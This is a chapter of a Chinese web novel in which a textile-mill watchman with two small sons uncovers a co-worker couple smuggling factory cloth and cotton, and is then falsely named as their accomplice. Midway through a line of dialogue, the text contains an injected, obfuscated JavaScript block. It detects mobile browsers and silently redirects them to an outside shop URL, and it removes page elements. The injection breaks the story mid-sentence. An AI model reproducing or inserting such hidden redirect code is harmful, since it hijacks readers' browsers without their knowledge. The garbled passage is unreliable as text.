纺织厂值班室门外,吴跃在大宝本子上写出“左”“右”两个字,他们周围还围着七八个人,在吴跃写的时候,他们也跟着用手比划。 “爸爸,这是右手,”吴大宝指着吴跃写字的手。 “嗯。” “这是左手,”他又指向吴跃另外一只手。 “对了,大宝真棒。” “爸爸的左手右手,那别人是怎么区分的啊?”吴大宝天真的问道。 啊?一个从未思考过的问题朝吴跃砸来。 “大宝,不是只有爸爸有右手,左右代表方向,谁都可以有。看,这是爸爸的右手,这是大宝的右手,这是小宝的右手,这是伯伯的右手,其他小朋友可以看自己的手。” “不过要是他们只想看爸爸的左右手,确实只能到咱们家来。” 吴大宝定住一会儿,才好像终于消化完他的话,眯眼笑了笑。 吴跃便知道他已经理解了,大宝这孩子在很多事情上都比较“较真”。 好些问题吴跃从来都没有思考过为什么,因为太简单,几乎是常识,他认为理所当然的道理,大宝却总能提出问题。 他每次回答都经过思考,生怕要是自己的回答掺杂错误,影响大宝的思考。 唉,当爹好难。 上班铃声响前,大家伙儿就散了,父子仨回到值班室继续写字看书。 晌午照常去食堂吃饭,回来换徐志高班的时候,正好遇见白连从值班室冲出来。 13. 第 13 章 刚开始吴跃只看到值班室冲出来一个人影。 他和俩崽子忙着闪避,人影脚下不稳,磕到地上,他才认出那是白连。 对方标志性穿着让人印象深刻。 吴跃其实有些好奇,他虽然不知道徐志高具体多些工资,但是加上工龄肯定比他高一些。 现在钱票禁花,原主一份工资,一家四口用还有剩。 徐志高和白连无儿无女,也没听说他家有极品爹娘扒拉着吸血啥的。 按理说徐志高的工资足够让他们夫妻俩宽裕的生活,甚至隔两个月添件新衣裳都不为难,咋都不至于拾别人的旧衣服穿,尤其还不怎么合身。 不过吴跃也只是好奇从未想过深究,自己日子好没过明白,就别评价别人的生活方式了,兴许人家已经习惯了,就觉得这样舒适呢。 摔倒的白连试了好几次都没站起来,她看上去很不好,满脸通红,额头发汗,好像中暑了似的。 “嫂子,你……”吴跃上前一步,想扶对方一把。 没想到白连如临大敌,往后躲出老远去,最后终于站起来跑走了。 他有这么可怕? 吴跃猜测这两口子肯定是吵架了,不过大晌午头来厂里值班室吵架,夫妻俩分歧恐怕不小。 这时候,徐志高推开了值班室的门。 他的上衣有几分凌乱,脖子上还有血道子,看到吴跃,他勉强笑笑,“你们这么快就吃完了?” “今天俩孩子动作快,”吴跃顺着他说,“徐哥,你也快去吃饭吧,再晚点就只能捡底儿啦。” 说完,他指了指刚才白连跑走的地方,“嫂子应该也没吃饭吧,徐哥你可以打了饭菜回家吃。今儿就我在这值班,你回家和嫂子好好聊聊,夫妻俩也得多沟通。” “不用,”徐志高下意识拔高声音,接着又解释,“我是得回家一趟,但肯定不会耽误换班,你放心吧。” 吴跃:“……”他想说真不用这么着急,工作虽然很重要,但是媳妇也重要啊,再说值班是他们两个人的事情,他搁这不是应该的? 只是没等他说出来,徐志高已经走远了。 吴跃领着俩儿子在值班室散步消食,父子仨排排站,吴小宝是火车头。 “爸爸,那个婶婶衣裳里塞满棉花,她不嫌热吗?”吴大宝突然问道。 “说什么呢,这个天气怎么会有人在衣裳里面塞棉花,那样做肯定要中暑的。”吴跃只当孩子说笑。 “可是婶婶差点摔倒的时候,我好像看到了。”吴大宝皱着小眉头。 “是不是晃眼了?”吴跃还当孩子看错了。 吴大宝没再说话。 吴跃却突然想到一件事,纺织厂仓库经常货对不上单,厂委工会盘查好几次都没找出祸首,听说这次这次上级单位下来检查也是为了调查这个,难不成…… 想着想着他又摇摇头,刚还说孩子想得多,他这联想力也不弱啊。 看着身前头,迈着小短腿认真走路的俩崽子,他现在不是一个人,领着俩儿子,最重要的就是平平安安。 上辈的经验告诉他,别多管闲事,啥事情都想掺一脚只会死得快。 散完步,吴跃领着俩孩子看报纸,内容是其次,主要是想让俩孩子多认几个字。 徐志高推门进来的时候,吴小宝正在磕磕绊绊读报纸,吴大宝则在旁边纠正弟弟读错的字音,两个小脑袋紧紧挨在一起,光是看着就让人发笑。 “呀,俩孩子都能读报了?”徐志高惊讶道。 吴跃觉得自己才应该惊讶,这老哥还真又过来了? 他看了一眼墙上的表,甚至比以前还早来了十多分钟。 这是真把纺织厂当自己家了啊?不,可能看的比他家庭还更重要些。 “徐哥,家里事情都处理好了?其实你真不用这么快赶过来,这也是我的工作。”吴跃没忍住又劝,他真觉得和徐志高做同事挺好,反正他穿过来这段时间的感受,对方简直是神仙同事,他真心希望对方家宅安宁。 “你嫂子她就是喜欢钻牛角尖,自己静静就好了,我在家反而妨碍她。”徐志高局促的笑笑,然后和往常一样催促吴跃回家休息。 “徐哥,你确定要我走?” “快回去吧,俩孩子都开始打瞌睡了,往常你可都不敢我客气的?”徐志高笑呵呵说道。 吴跃只能领着孩子先回家,俩崽现在已经养成了生物钟,回到家趴床上就睡过去了。吴跃却没像以前那样跟着歇下,而是去敲开了西屋门。 杨继和刚要睡着,就被敲门声震醒了,他皱眉打开门看到吴老四,暴脾气那是当下就要炸。 “你他么……” “小点声,我家俩孩子睡觉呢,”吴跃听他起高调就下意识皱眉,前面还嫌他家吵,怎么到自己就不注意了。 哎呦,我去,吴老四这小子到他家门口贼喊捉贼来了,杨继和气笑了都,他咬着牙压低声音,“你到底来干啥的,专门找我吵架?” “我有这么闲?”有那时间睡一觉不好吗。 “你跟我出来一下,”吴跃觉得有些话得出去说,他走出好远,才发现杨继和没跟上来,只能又催促,“赶紧的,我真有事儿。” 杨继和到底跟出去了。 他们绕着院墙到了东边的小树林,找了个左右不沾的树靠着。 “你到底有什么事情,找我单练?”杨继和伸出胳膊,上臂肌肉鼓鼓囊囊,看上去挺唬人。 吴跃正要开口,就看到一个人影从解放路走了过去,对方全程低着脑袋,肥大的衣裳让她看上去有些臃肿。 果然,他想装看不见都不行。 杨继和被捂着嘴根本不知道发生了什么事,“那是徐志高媳妇吧,这个点去哪儿啊这是?” 大中午,天气最热的时候,大家都在家里歇晌,就是最调皮的孩子都不在外面乱晃,她穿成那个样子出来就不怕中暑? “那个方向只有纺织厂,我觉得她可能是想去仓库那块闲逛一下。”吴跃轻飘飘说道。 “你说啥屁话呢,”杨继和下意识反驳,随即他脸色突变,来不及和吴跃说什么就跑了出去。 杨继和,纺织厂保卫科组长,这种关系到纺织厂财产安全的事情还是交给专业人士去干。 吴跃拍拍屁股回家,看俩孩子还在睡,他又出门去六号院找管婶。 “帮你看着点孩子,成,不过你干啥去?”管婶狐疑的看着吴跃,不会又去哪里鬼混吧。 “就在厂里,就在厂里,您想哪去了?”吴跃赶紧解释,“今天下午厂里事儿多,我怕我顾不上他俩。” 管婶勉强相信,“那行吧,我现在就跟你过去?” “这样当然好。”吴跃连忙答应。 俩人便一前一后往七号院走,管婶看着跟前的帅小伙,忍不住念叨:“你们这些小年轻啊,说离婚就离婚,真是一点都不顾念孩子。” “我看这件事错还在你多些,你得好好反省反省。” 吴跃默默听着,大概是上辈子从来没有人对他唠叨这些,所以现在听到也不觉得厌烦。 “不过,你这样下去不行,谁都不能在一棵树上吊死。你现在就得开始考虑再找个人过日子了,你不想自己,总得想父母和俩孩子。” “最主要你不能一直带着俩孩子上班吧,时间长了同事不得有意见?你也就是碰上了徐志高这个好说话的,换个人早就和你闹掰了。” 前面的建议都是出于现实情况,别管适不适合吴跃,都是真心为他考虑,最后这一条他可不能认,“我带俩孩子上班确实不方便,但是管婶,我可没把自己的工作推给徐哥,我都准备好褥子,让俩孩子在值班室午睡,奈何徐哥坚决不让。” “今天他和嫂子吵架 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13560672|142697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我要留下值班,他都不许。” 管婶觉得吴跃编瞎话,“我和志高两口子住一个院子十多年,都没见人俩吵过架,你才来几天就碰上了?” “你这混小子还想诓管婶呢,也不看看我在这住了多少年,能被你骗过去?” 吴跃刚想反驳,就听见纺织厂那边传来呵斥嚎喊声,还夹杂着女人尖利的声音。 “这是咋了,我咋听着声音是纺织厂传过来的?”管婶看向纺织厂的方向。 “管婶,俩孩子醒了,要是闹乱子,你就把我放在桌橱上纸条给他们看,我先去厂里看看。”吴跃把钥匙塞给管婶,小跑去纺织厂。 “放心吧,”管婶答应着。 吴跃到的时候,徐志高和白连都被控制起来了,地上还有散落一片的布料,成衣,还有棉花套。 很显然,这是人赃并获了。 此时,厂委和厂里一众领导也都到了,甚至还有上级单位的工作人员。 事情就是这么赶巧,准备好些天,他们早不来晚不来偏偏这时候来了。 吴跃作为在场最不起眼的那个,四周观察了下。 大家脸色都不好看。 徐志高和白连完全两个状态,前者大喊冤枉,后者面如死灰,像是已经放弃了一般。 杨继和领着人去六号院徐志高家了,扛回来两大包布料,都已经裁剪开,大小正好做被单被面,棉花也被分装成一小份一小份,显然已经卖出经验来了。 见此,全厂领导均沉默。 公安局的同志来到之后,迅速在厂委配合下成立了调查组。 徐白私吞国家财产已经板上钉钉,现在就要查他们有没有同伙,以及之前的偷盗所得在哪儿,刚才去徐家他们没有搜出来一毛钱。 吴跃正对着白连,杨继和说没搜到钱的时候,她眼里闪过了愤恨。 这时候,徐志高突然抬头和吴跃对上了眼,他脸上闪过一丝疯狂,“我坦白,我坦白,我的同伙就是吴老四,多亏他我们才这么久都没被发现。” 这把火终于还是烧到他身上来了。 吴跃竟然松了一口气,他从来不相信无缘无故的好,尤其本就有利益牵扯的。 徐志高是老好人,又不是老傻子,怎么可能那么喜欢值班? 和妻子干仗都还要来厂里值班,这根本不合常理,再结合大宝那些话,吴跃当时就觉得自己应该做些什么。 先下手为强,后下手遭殃。 所以他才主动去找了杨继和。 “自己是国家蛀虫,还想攀扯到别人身上,省省吧你可,”杨继和拉着胳膊给徐志高按在了地上,“老实点!” “杨继和,你怎么不叫他把话说完?他怎么会平白无故提到吴同志,我觉得此事可能需要再议。”突然有人说道。 吴跃瞥了对方一眼,又收回眼神。 “没必要,今天我们能人赃并获,就是吴老,吴同志发现端倪,把事情上报到我这来的。”杨继和说。 那人终于哑火。 不过虽然有杨继和澄清,但是吴跃还是免不了被轮番叫去问话。 与此同时,七里河大队。 大队部赶驴车的老王正在吹嘘自己去市里送人这一路上见闻,突然他转了个话题,“来过咱们村的那个吴同志,你们还记得不?” “咋不记得?模样比闺女还俊,住在卢有才家那个,他老倌打得好主意,想把闺女配给工人,后来才知道人家早就结婚有俩孩子了。”这事在他们七里河大队都成笑话了。 “他离婚了,”老王摆摆手。 “你说真的?” “那还能有假,回程他爹就坐在我驴车上,闲谈了几句。” 一时间大家唏嘘不已,还有人调侃老卢家闺女,她再使把劲儿没准事情就成了。 谁都没有注意到,道边一个姑娘转身走了。